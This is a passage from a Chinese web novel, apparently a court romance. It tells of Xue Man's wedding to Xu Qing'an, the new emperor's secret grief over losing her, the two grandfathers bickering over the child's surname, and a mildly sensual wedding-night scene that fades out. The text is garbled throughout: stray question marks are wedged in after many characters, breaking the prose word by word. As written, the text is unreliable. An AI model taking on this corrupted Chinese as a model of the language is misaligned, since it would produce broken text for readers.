众人?立即整齐下?跪,心道:新帝好?肚量!竟真来参加前未婚妻的婚礼!许清桉果真是?新帝面前的大红人?! 却?不想想,若真看重的人?是?许清桉,便该去恒安侯府入座,为何要特意赶到薛家门前? 丰和帝裴长旭并?不在意路人?的想法,他登上皇位已?有小一年,俊雅依旧,举手投足更?添赫斯之威。 他免去众人?礼节,朝许清桉道:“朕来送阿满一程,许侍郎不介意吧?” 许清桉:呵呵。 于是?乎,众人?便见?新帝纡尊降贵,如寻常人?家的兄长般,背着薛家表妹送进?花轿。 他们见?不到新帝眼?中的妒与痛,听不到新帝对薛小姐低语:“阿满,他若是?对你不好?,三哥随时迎你回来。” 折腾了半日,新娘子总算被?迎进?恒安侯府。按理说,许清桉的几位姑母该忙着待客,可惜从婚事敲定起,宫里便派人?来操持所有事务,更?有薛家人?事无巨细的帮忙,导致她们反倒像个外人?。 她们没有意见?,她们不敢有意见?。不提许清桉如今位高权重,这?薛小姐更?有新帝做靠山,她们吃饱了撑的才去找碴。 倒也有蠢的,便是?许清桉的三姑母。参加宴席时,言语间对薛小姐颇有微词,可不出?两日,她的夫君便遭人?检举受贿,被?新帝革去官职,永生?不得?再进?官场。 ……得?,这?下?贵族间都知道,编排谁都不能编排薛小姐咯。 婚礼正式开始,由重进?内阁的薛老太爷主持仪式。丰和帝裴长旭坐在主座,往下?依次是?老恒安侯、老恒安侯夫人?、佟蓉、裴唯宁……还有薛满的好?友们,共同见?证了小夫妻拜堂,送入洞房。 裴长旭饮尽杯中酒,没继续去凑热闹,“走吧。” 杜洋跟着他离开恒安侯府,回到御书房,这?里的冷清与恒安侯府的热闹形成了鲜明对比。 裴长旭已?习惯这?种?冷清,打开一本奏折,翻看许久,没看进?半个字。 杜洋岂能不知晓他的苦楚,忽道:“圣上,属下?有一事要禀告。” 裴长旭道:“说。” 杜洋道:“您还记得?江姑娘吗?” 裴长旭道:“嗯,朕记得?送她去当女尼了。” 杜洋道:“是?有这?么回事,但前些日子,江姑娘来信说想还俗嫁人?。” 裴长旭淡道:“你看着办,替她尽快找个人?家。” 杜洋看出?他没有任何要接江书韵进?宫的意思,斟酌后道:“还有一事,是?寺中监视江姑娘的女尼偷听到的,她声称江姑娘与婢女私下?说漏嘴,称当年江诗韵的死另有隐情。” 裴长旭没抬眼?,“何等隐情?” 杜洋吞吞吐吐,“当年殿下?之所以暴露行踪,被?人?埋伏,实际上是?……是?江诗韵故意为之。她先向殿下?的死对头透露行踪,故意引来袭击,然后再奋不顾身,营救殿下?……” 裴长旭总算有了点反应,勾着唇道:“原来如此?。” 所以,江诗韵的死并?非意外,而是?机关算尽后的竹篮打水一场空。 而他却?因为她的死,忽视阿满,断送此?生?幸福。 咎由自取啊……江诗韵是?,他也是?。 裴长旭取出?袖中的一枚荷包,这?是?他叫人?潜进?薛府,从薛满闲置的梳妆盒里,偷出?来的一枚半成品荷包。 它?本该在他与阿满成婚当日,由阿满亲自戴到他的腰间。 他命杜洋熄灭蜡烛,将荷包贴到心口,闭上眼?,与黑暗融为一体。 黑暗中,无人?会发现新帝的眼?泪。 …… 恒安侯府的热闹仍在延续。 何湘正在给怀孕的宝姝把脉,孟超与安元驹在拼酒,佟蓉跟裴唯宁描述塞北风光,老恒安侯与薛老太爷在……在斗嘴。 “老匹夫,哪怕你的外孙当了皇帝,阿满依旧嫁进?我恒安侯府,往后得?恭恭敬敬地称我一声祖父。”老恒安侯得?意洋洋,“这?回是?你输了,输得?彻彻底底。” 薛老太爷抚着胡须,“是?吗?我怎么听说,他们成婚后便要搬回薛府,不会在侯府常住。” 老恒安侯道:“你懂个屁,小住也是?住,等时间一久,他们生?了孩子,自然而然会在侯府常住。” 薛老太爷道:“我看未必。” 老恒安侯道:“你老眼?昏花,看什么都是?未必。我劝你还是?早些离开内阁,免得?耽误国家大事。” 薛老太爷道:“你说得?没错,我是?该跟圣上提辞官一事,省得?将来没有时间管教曾孙。” 老恒安侯嘲讽:“你没有孙子,还敢妄想曾孙?” 薛老太爷道:“难道许侍郎没跟你提起?” 老恒安侯有种?不好?的预感。 薛老太爷笑道:“许侍郎之前找到我,说跟阿满商量好?了,等阿满诞下?孩子,无论男女,都可跟我薛家姓。” “……”许荣轩的天!塌!了!臭小子与阿满的孩子要姓薛?那他妈的不还是?入赘吗? 这?黑心眼?的臭小子! 他啪的一声捏碎酒盏,起身便要去找许清桉算账,被?薛老太爷的话定在原地,“比起说服许侍郎,老侯爷不觉得?,说服我更?简单些吗?” 老恒安侯的脸差点裂开,“你这?个阴险的老匹夫,要不是?看在絮敏的面子上,我非得?砍了你不可!” 薛老太爷气定神闲,“来,只要你肯跟我说一句话,我便让给你一个孩子的姓氏。” 老恒安侯竖起耳朵,还有这?等好?事? 便听薛老太爷道:“你说,薛科诚与左絮敏是?天赐良缘,来生?定会再续前缘。” 老恒安侯:“……”做你的春秋白日大头梦去吧薛科诚! 画面回到洞房内。 新晋小夫妻已?走完仪式,喝过交杯酒,卸尽妆面,换上素白中衣。 薛满被?他勾着下?巴,压到床间强势亲吻,好?不容易有说话的间隙,“你,你不出?去陪酒吗?” 许清桉言简意赅,“不去。” 说罢又勾缠着她的唇,吻得?又凶又急。 大周有成婚前五日不能见?面的风俗,是?以,许清桉已?有五日没与薛满亲近,这?会儿只想压着她这?样那样,那样又这?样。 薛满也逐渐被?他亲出?火气,身躯似水,瘫软在他的臂间。 许清桉却?忽然离开,打开衣柜取出?个包袱。 呃,有些眼?熟啊。 不等薛满回忆,许清桉已?抖开包袱里的两件衣裳……说是?衣裳,不过是?一件抹胸加一条长裙。 这?不是?当初宝姝送的礼物吗? “你从哪里找到的?”薛满不解,“我没叫明荟收拾进?行囊啊。” “我亲自收拾的。” 许清桉再度压她进?被?褥,边亲边替她换上新衣。白腻的肌肤,丰润的胸脯,不盈一握的腰,笔直纤细的腿……常看常新,百看不腻。 他一言不发地退到床尾,沿着她的脚腕往上亲吻。 薛满本闭着眼?低喘,过得?片刻,却?感觉到一阵濡湿。睁眼?看去,许清桉的鼻间挂着两条血痕,分明是?…… “好?你个许清桉!”薛满忆起往事,后知后觉,“你竟然早就对我意图不轨!” 许清桉淡定地抹去鼻血,顶着一张矜持清贵的脸,说着无赖至极的话,“男女欢好?,本是?天经?地义。我守身多年,好?不容易遇到了你,好?色亦在情理内。” 什么歪理! 薛满绷直脚尖踢他,反被?握住玉足,拉到他身下?,无征兆地登堂入室—— 此?刻,春宵不仅值千金,更?值万万金。